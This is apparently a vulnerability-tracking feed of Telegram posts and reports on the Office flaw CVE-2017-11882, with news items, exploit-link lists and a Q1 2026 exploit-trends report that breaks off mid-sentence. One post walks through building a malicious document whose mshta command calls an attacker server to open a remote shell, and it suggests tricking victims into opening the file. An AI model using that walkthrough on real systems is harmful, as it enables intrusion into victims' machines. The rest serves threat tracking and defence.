\u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2024-07-29T20:25:43.000000Z"}, {"uuid": "782c7c14-243e-4d1c-9172-65475f620152", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/indoghostsec/1934", "content": "By indoghostsec\n\n Office Memory Corruption Vulnerability CVE-2017-11882 Failed to execute arbitrary code, DoS PoC has been released:\nfb.com/indoghostsec\n\n1) Microsoft Office once again revealed a memory corru:ption vulnerability\u2002 , CVEID  CVE-2017-11882\u2002 , which can be exploited by an attacker to execute arbitrary code in the context of the currently logged-in user. \n\n2) A failed development attempt may cause a denial of service condition. The affected versions include related versions of Office 2016, Office 2013, Office 2010, and Office 2007.\n\n3) Update: The Microsoft Office Memory Corruption Vulnerability CVE-2017-11882 PoC has been released. The reason it is widely spread is that this vulnerability has no sputum, and users cannot feel it! !! !! Here is a simple reproduction for everyone. .\n\n \n Tools used:\n\n1) Infiltration tool: kodiac (used to construct the payload and get the shell) Tool address: https://github.com/weiruyi123/koadic (This is the version I modified without coding errors)\n\n2) Vulnerability Poc: Address: https://github.com/weiruyi123/CVE-2017-11882\n\n(Poc has a limit on the command length. For details, please refer to the README on github.)\n\nOperating environment:\n\n1) Python2.7\n\n2) Target: windows server 2008 R2 standard IP: 192.168.1.171\n\n3) Attack machine: A VPS with a public IP (because I don't want to do forwarding, I use the VPS as a rebound shell service to show everyone)\n\n4) Enter bash, cd into the downloaded Poc directory, we can see that Poc is written in python, so you need to install the python environment.\n\nNext we open the win server virtual machine\n\n5) Newly installed virtual machine (without any patches).\n\nHere I use ssh to link my vps and use git clone to download kodiac. After recursively adding execute permissions to the directory, cd into the kodiac directory and then. /kodiac.py runs, the same tool also requires a python environment\n\n6)Then we set the LHOST and LPORT mosaics and fill in your intranet IP address (if it is an intranet penetration) or port forwarding address, and then enter run to generate the payload\n\n 7) Copy 'mshta http: // IP: 2580 / acg9N' and then go back to bash to open the Poc directory. The usage of Poc is\n\npython Command_CVE-2017-11882.py -c \"cmd.exe / c calc.exe\" -o test.doc\n\n-c refers to the command executed remotely -o refers to the generated document location. We modify the command and save location at -c according to the situation, here according to the payload command I generated is\n\npython Command_CVE-2017-11882.py -c \"mshta http: // IP: 2580 / acg9N\" -o test.doc\n\nOf course, you can also use msf to generate a powershell one-sentence payload and then replace the parameter at -c\n\n8) It can be seen that we have successfully generated a malicious document (check picture sended by UndercOde\n\n9)  Next, you only need to open it through some social workers or abnormal means. we will open the document into the win server virtual machine.\n\n10) Then you will find that the zombies shell with code 0 has been rebounded at kodiac, and there is no error message after the target is opened\n\nWritten by INDOGHOSTSEC", "creation_timestamp": "2020-02-18T08:18:41.000000Z"}, {"uuid": "a3b312ec-ff93-4364-9c21-794ae39d0eb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/94", "content": "#exploit\n#Threat_Research\n1. CVE-2018-8373 Exploit\nhttps://www.trendmicro.com/en_us/research/18/i/new-cve-2018-8373-exploit-spotted.html\n\n2. CVE-2018-0952:\nPrivilege Escalation Vulnerability in Windows Standard Collector Service\nhttps://www.atredis.com/blog/cve-2018-0952-privilege-escalation-vulnerability-in-windows-standard-collector-service\n\n3. CVE-2017-11882:\nOld but not forgotten - MS Office bug\nhttps://github.com/unamer/CVE-2017-11882", "creation_timestamp": "2023-09-08T08:33:20.000000Z"}, {"uuid": "a752c177-7e88-499b-b808-8d1ac109fc7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/60", "content": "#exploit\nNew vulnerabilities in Microsoft products\n\n1. CVE-2018-0802:\nEquation Editor in MS Office 2007, 2010, 2013, 2016 - RCE\nhttps://github.com/zldww2011/CVE-2018-0802_POC\n]-> https://github.com/rxwx/CVE-2018-0802\nGenerate RTF exploit payload uses CVE-2017-11882, CVE-2017-8570, CVE-2018-0802, CVE-2018-8174\nhttps://github.com/dcsync/rtfkit\n\n2. CVE-2018-0824:\nRCE in \"Microsoft COM for Windows\"\nhttps://github.com/codewhitesec/UnmarshalPwn\n// This affects Win7, 8.1, 10, RT 8.1, Server 2012 R2, 2008/2008 R2, 2012, 2016\n\n3. CVE-2018-0886:\nCredSSP protocol in MS Windows Server 2008 SP2/R2 SP1, Win7 SP1, 8.1, RT 8.1, Server 2012/R2, Win10 Gold, 1511, 1607, 1703, 1709, Server 2016, 1709 - RCE\nhttps://github.com/preempt/credssp", "creation_timestamp": "2024-10-10T21:06:31.000000Z"}, {"uuid": "28742348-8ed1-4615-b9c5-bcb3d6ef2086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/CyberSecurityTechnologies/7395", "content": "#Analytics\nTop 10 most exploited vulnerabilities in 2022\n\n1. CVE-2022-30190: MS Office \"Follina\"\n2. CVE-2021-44228: Apache Log4Shell\n3. CVE-2022-22965: Spring4Shell\n4. CVE-2022-1388: F5 BIG-IP\n5. CVE-2022-0609: Google Chrome 0-day\n6. CVE-2017-11882: MS Office RCE\n7. CVE-2022-41082, CVE-2022-41040: ProxyNotShell\n8. CVE-2022-27925, CVE-2022-41352: Zimbra Collaboration Suite bugs\n9. CVE-2022-26134: Atlassian Confluence RCE\n10. CVE-2022-30525: Zyxel RCE vulnerability", "creation_timestamp": "2024-10-11T03:03:25.000000Z"}, {"uuid": "ca591042-89ed-4a7f-81f3-7edd9dd63850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/LearnExploit/4351", "content": "1. Follina (CVE-2022-30190)\n\n2. Log4Shell (CVE-2021-44228)\n\n3. Spring4Shell (CVE-2022-22965)\n\n4. F5 BIG-IP (CVE-2022-1388)\n\n5. Google Chrome zero-day (CVE-2022-0609)\n\n6. Old but not forgotten - Microsoft Office bug (CVE-2017-11882)\n\n7. ProxyNotShell (CVE-2022-41082, CVE-2022-41040)\n\n8. Zimbra Collaboration Suite bugs (CVE-2022-27925, CVE-2022-41352)\n\n9. Atlassian Confluence RCE flaw (CVE-2022-26134)\n\n10. Zyxel RCE vulnerability (CVE-2022-30525)\n\n#Exploit \n\u2014\u2014\u2014\u2014\u2014\u2014\n0Day.Today\n@LearnExploit\n@Tech_Army", "creation_timestamp": "2023-01-04T10:02:38.000000Z"}, {"uuid": "90f2f894-1849-4a51-894c-781d6c24ff7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/cibsecurity/202", "content": "\u274c ThreatList: Microsoft Macros Remain Top Vector for Malware Delivery \u274c\n\nThe second-most popular delivery method is CVE-2017-11882, a patched Microsoft vulnerability that allows the attacker to perform arbitrary code-execution.\n\n\ud83d\udcd6 Read\n\nvia \"The first stop for security news | Threatpost \".", "creation_timestamp": "2018-09-13T21:31:28.000000Z"}, {"uuid": "14acde8e-aef2-41e6-9e1c-cb74c4f80830", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/cibsecurity/7680", "content": "\ud83d\udd74 Microsoft Office Bug Remains Top Malware Delivery Vector \ud83d\udd74\n\nCVE-2017-11882 has been attackers' favorite malware delivery mechanism throughout the second and third quarters of 2019.\n\n\ud83d\udcd6 Read\n\nvia \"Dark Reading: \".", "creation_timestamp": "2019-10-25T22:34:05.000000Z"}, {"uuid": "dfe4b3b0-03a5-4c4c-85f5-9f00751faafe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/cisoclub/3409", "content": "\u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \ud83c\uddf7\ud83c\uddfa\u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439 6 \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n\u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \ud83d\udc3aWerewolves, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0430\u044f \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0432\u043e\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u043e\u0434\u043d\u0443 \u0438\u0437 \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f \ud83d\udd11LockBit, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439. \u0421 \u043a\u043e\u043d\u0446\u0430 \u0430\u043f\u0440\u0435\u043b\u044f 2024 \u0433\u043e\u0434\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0430\u0434\u0440\u0435\u0441\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043e\u0442\u0435\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \ud83c\udfed\u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0438 \u0418\u0422-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0441\u0442\u0440\u0430\u0445\u043e\u0432\u043e\u0433\u043e \u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u043a\u0442\u043e\u0440\u0430, \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 F.A.C.C.T.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 F.A.C.C.T., \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Werewolves \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u0440\u0430\u0437\u043d\u044b\u0445 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0434\u0430\u0436\u0435 \u043d\u0430 \u0441\u0432\u043e\u0438\u0445 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u0430\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u044e\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f, \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e, \u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443, \u043d\u0430 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0438 \u041d\u041f\u041e \u00ab\u041a\u0417\u0421\u0422\u00bb.\n\n\u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 F.A.C.C.T. \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0445\u0430\u043a\u0435\u0440\u044b \u0441\u0442\u0430\u0440\u0430\u044e\u0442\u0441\u044f \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0445 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e. \u042d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u0438\u043c\u0435\u0435\u0442 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u00ab\u0420\u0435\u043a\u043b\u0430\u043c\u0430\u0446\u0438\u044f.doc\u00bb. \u041a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435, \u043e\u043d \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 RTF \u0441 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u043a \u0441\u0442\u0430\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2017-11882 \u0432 Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0431\u043e\u043b\u0435\u0435 6 \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0435\u0451 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435, \u0441 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0437\u043e\u043d\u0435 .ru \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 HTA, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 PowerShell-\u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044f \u0441\u0442\u0435\u0439\u0434\u0436\u0435\u0440 Cobalt Strike. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043c\u0430\u044f\u0447\u043a\u0430 Cobalt Strike \u0441 \u0432\u0448\u0438\u0442\u044b\u043c \u0430\u0434\u0440\u0435\u0441\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f, \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u043f\u0440\u043e \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-08-03T17:00:05.354470Z"}, {"uuid": "aadabe31-dddc-42b8-9bd1-cd065efd28a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-e8c8129d-b09e02c4de9c4f4a", "content": "Exploits and vulnerabilities in Q1 2026\nDuring Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.\nIn this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.\nStatistics on registered vulnerabilities\nThis section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.\nWe examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.\nTotal published vulnerabilities per month from 2022 through 2026 (download)\nNext, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.\nTotal critical vulnerabilities published per month from 2022 through 2026 (download)\nThe graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.\nExploitation statistics\nThis section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.\nWindows and Linux vulnerability exploitation\nIn Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:\n\nCVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component\nCVE-2017-11882: another RCE vulnerability also affecting Equation Editor\nCVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system\nCVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive\nCVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution\nCVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams\nAmong the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:\n\nCVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user\u2019s knowledge. Malicious commands are executed on the victim\u2019s system with the privileges of the user who opened the file.\nCVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.\nThese three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.\nBelow is the trend of exploit detections on user Windows systems starting from Q1 2025.\nDynamics of the number of Windows users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nThe vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.\nOn Linux devices, exploits for the following vulnerabilities were detected most frequently:\n\nCVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications\nCVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation\nCVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem\nCVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests\nDynamics of the number of Linux users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nIn the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.\nMost common published exploits\nThe distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.\nDistribution of published exploits by platform, Q1 2026 (download)\nVulnerability exploitation in APT attacks\nWe analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.\nTOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)\nIn Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.\nC2 frameworks\nIn this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.\nThe chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.\nTOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)\nMetasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:\n\nCVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running\nCVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication\nCVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications\nCVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server\nCVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user\nThe nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.\nNotable vulnerabilities\nThis section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.\nCVE-2026-21519: Desktop Window Manager vulnerability\nAt the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.\nIt is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.\nRegPwn (CVE-2026-21533): a system settings access control vulnerability\nCVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.\nCVE-2026-21514: a Microsoft Office vulnerability\nThis vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.\nClawdbot (CVE-2026-25253): an OpenClaw vulnerability\nThis vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.\nCVE-2026-34070: LangChain framework vulnerability\nLangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.\nCVE-2026-22812: an OpenCode vulnerability\nCVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a 